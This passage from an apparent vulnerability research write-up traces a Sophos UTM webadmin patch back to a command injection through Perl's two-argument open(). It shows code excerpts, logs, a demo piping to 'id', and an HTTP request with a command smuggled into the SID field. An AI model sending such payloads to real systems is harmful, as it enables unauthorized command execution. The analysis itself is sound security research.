The updated code shows a check being added to the switch_session
subroutine make sure the SID
(Session ID) does not contain any other characters other than alphanumeric characters; so it's likely that the vulnerability sources from the value of SID
.
Going Down the Rabbit Hole
The only place the switch_session
subroutine is called is from the do_connect
subroutine:
$ ag switch_session
wfe/asg/modules/asg_connector.pm
68:# just a wrapper for switch_session
71: return $self->switch_session(@_);
76:sub switch_session {
81: &main::msg('d', "Called " . __PACKAGE__ . "::switch_session()");
The do_connect
subroutine just appears to be a wrapper for the switch_session
subroutine:
# just a wrapper for switch_session
sub do_connect {
my $self = shift;
return $self->switch_session(@_);
}
wfe/asg/modules/asg_connector.pm:68-72
The do_connect
subroutine is used in various places in the code:
$ ag do_connect
wfe/asg/modules/asg_login.pm
290: $SID = $sys->do_connect($config->{backend_address});
wfe/asg/modules/asg_misc.pm
110: $SID = $sys->do_connect($config->{backend_address},$vars->{SID}) if $vars->{SID};
wfe/asg/modules/asg_main.pm
55: $SID = $sys ? $sys->do_connect($config->{backend_address}, $_cookies->{SID}->value) : undef;
wfe/asg/modules/asg_connector.pm
69:sub do_connect {
core/modules/core_connector.pm
30:# renamed connect to do_connect for avoid confusion with
32:sub do_connect {
33: die __PACKAGE__ . '::do_connect() has to be implemented by inherting module!';
asg.plx
190: $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
216: $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
325: if ( $cookies->{SID} and ( $cookies->{SID} eq $SID or $SID = $sys->do_connect($config->{backend_address}, $cookies->{SID}) ) ) {
Knowing that asg.plx
is the script name of webadmin.plx
, let's take a look there first:
# POST request - means JSON request
if ( $ENV{'REQUEST_METHOD'} eq 'POST' ) {
# no further processing in case of content-type violation
goto REQ_OUTPUT if $req->{ct_violation};
# switch our identity if necessary
$SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
asg.plx:209-216
The do_connect
subroutine is used at the start of the HTTP POST request handling and also takes SID
so we should be able to hit it with any HTTP POST request.
Throughout the code there are references to confd
which is a backend service that the httpd
frontend communicates with over RPC. When making an HTTP POST request to webadmin.plx
, the httpd
service connects to confd
and sends it some data, such as SID
, that's what we are seeing with:
$SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
So when an HTTP POST request is made, the SID
is sent to confd
where it is checked to see if it's a valid session identifier. This can be seen in the log files in /var/log/
on the appliance. If we make the following request with an invalid SID
:
POST /webadmin.plx HTTP/1.1
Host: 192.168.50.17:4444
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17:4444
DNT: 1
Connection: close
Referer: https://192.168.50.17:4444/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"objs": [{"FID": "get_user_information"}], "SID":"ATREDIS", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1628997061547_0.82356395860014", "current_uuid": "", "ipv6": true}
Then we can see the lookup happen in the /var/log/confd-debug.log
log file. The confd
calls get_SID
with the user-supplied SID
:
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:125() => listener: new connection...
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::reap_children:118() => reaped: 32643
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:215() => forked: 32653
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:223() => workers: 11682, 32653, 10419
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::server_loop:159() => child: serving connection from 127.0.0.1
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::get_request:321() => get_request() start
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: >=========================================================================
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::response:287() => prpc response: $VAR1 = [
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: 1,
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: 'Welcome!'
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: ];
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: <=========================================================================
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::get_request:321() => get_request() start
--
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'SID' => 'ATREDIS',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'asg_ip' => '192.168.50.17',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'ip' => '192.168.50.178'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: }
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: ],
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'id' => 'unsupported',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'method' => 'NewHandle',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'path' => '/webadmin/nonproxy'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: };
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: |=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::server_loop:178() => method: new params: $VAR1 = [
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: {
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'SID' => 'ATREDIS',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'asg_ip' => '192.168.50.17',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'ip' => '192.168.50.178'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: }
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: ];
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: <=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D utils::write_sigusr1:389() => id="3100" severity="debug" sys="System" sub="confd" name="write_sigusr1" user="system" srcip="0.0.0.0" facility="system" client="unknown" call="new" mode="add" pids="32753"
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::response:287() => prpc response: $VAR1 = bless( {}, 'Astaro::RPC' );
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::get_request:321() => get_request() start
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: >=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::get_request:461() => got request: $VAR1 = {
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'params' => [
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: bless( {}, 'Astaro::RPC' ),
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'get_SID'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: ],
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'id' => 'unsupported',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'method' => 'CallMethod',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'path' => '/webadmin/nonproxy'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: };
/var/log/confd-debug.log
The confd
service responds back to the httpd
service that the SID
does not exist and we can see that error occur in the /var/log/webadmin.log
log file:
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: |=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: W No backend for SID = ATREDIS...
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]:
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: 1. main::top-level:221() asg.plx
/var/log/webadmin.log
Let's see what exactly happens with the SID
value that we supply in our HTTP POST request. When the connection to confd
is made, confd
attempts to read the stored SID
from the confd
sessions directory at $config::session_dir
(/var/confd/var/sessions
):
my $new = read_storage("$config::session_dir/$session->{SID}");
Session.pm:189
The read_storage
subroutine takes a $file
which in this case is SID
and passes it to the Storable::lock_retrieve
subroutine:
# read from Perl Storable file
sub read_storage {
my $file = shift;
my $href;
require Storable;
eval { local $SIG{'__DIE__'}; $href = Storable::lock_retrieve($file); };
return if $@;
return unless ref $href eq 'HASH';
return $href;
}
Astaro/file.pm:350-361
The lock_retrieve
subroutine calls the _retrieve
subroutine:
sub lock_retrieve {
_retrieve($_[0], 1);
}
auto/Storable/lock_retrieve.al:12-14
The _retrieve
subroutine then calls open()
on the file:
sub _retrieve {
my ($file, $use_locking) = @_;
local *FILE;
open(FILE, $file) || logcroak "can't open $file: $!";
auto/Storable/_retrieve.al:8-11
In Perl, open()
can be a dangerous function when user-supplied data is passed as the second argument. You can learn more about this in Perl's official documentation here, but this quick example demonstrates the danger:
#!/usr/bin/perl
my $a = "|id";
local *FILE;
open(FILE, $a);
test.pl
$ perl test.pl
uid=1000(justin) gid=1000(justin) groups=1000(justin)
In the case of the UTM appliance, the user-supplied SID
value is passed to the second argument of open()
. That seems pretty straight forward to exploit, right? Let's give it a shot. We'll attempt to run the command touch /tmp/pwned
:
POST /webadmin.plx HTTP/1.1
Host: 192.168.50.17
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17
Connection: close
Referer: https://192.168.50.17/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"objs": [{"FID": "init"}], "SID": "|touch /tmp/pwned|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}
Now let's check for our file!
# ls -l /tmp/pwned
ls: cannot access /tmp/pwned: No such file or directory
Erm. No file has been written to the /tmp/
directory. When I got to this point, I was frustrated, let me tell you.
Let's look into the logs and see if we can figure out what happened.
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: |=========================================================================
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: D Astaro::RPC::server_loop:178() => method: new params: $VAR1 = [
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: {
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: 'SID' => '0ouch /tmp/pwned',
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: 'asg_ip' => '192.168.50.17',
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: 'ip' => '192.168.50.178'
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: }
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: ];
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: <=========================================================================
/var/log/confd-debug.log
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: |=========================================================================
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: W No backend for SID = 0ouch /tmp...
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]:
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: 1. main::top-level:221() asg.plx
/var/log/webadmin.log
Hmm... The SID
in the logs is 0ouch /tmp/pwned
, that's not what we sent...
Say Diff Again!
At this point I knew exactly what the issue was. Remember at the beginning of this writeup when I said that I like to diff both source code and configuration files? Meet the other diff between versions: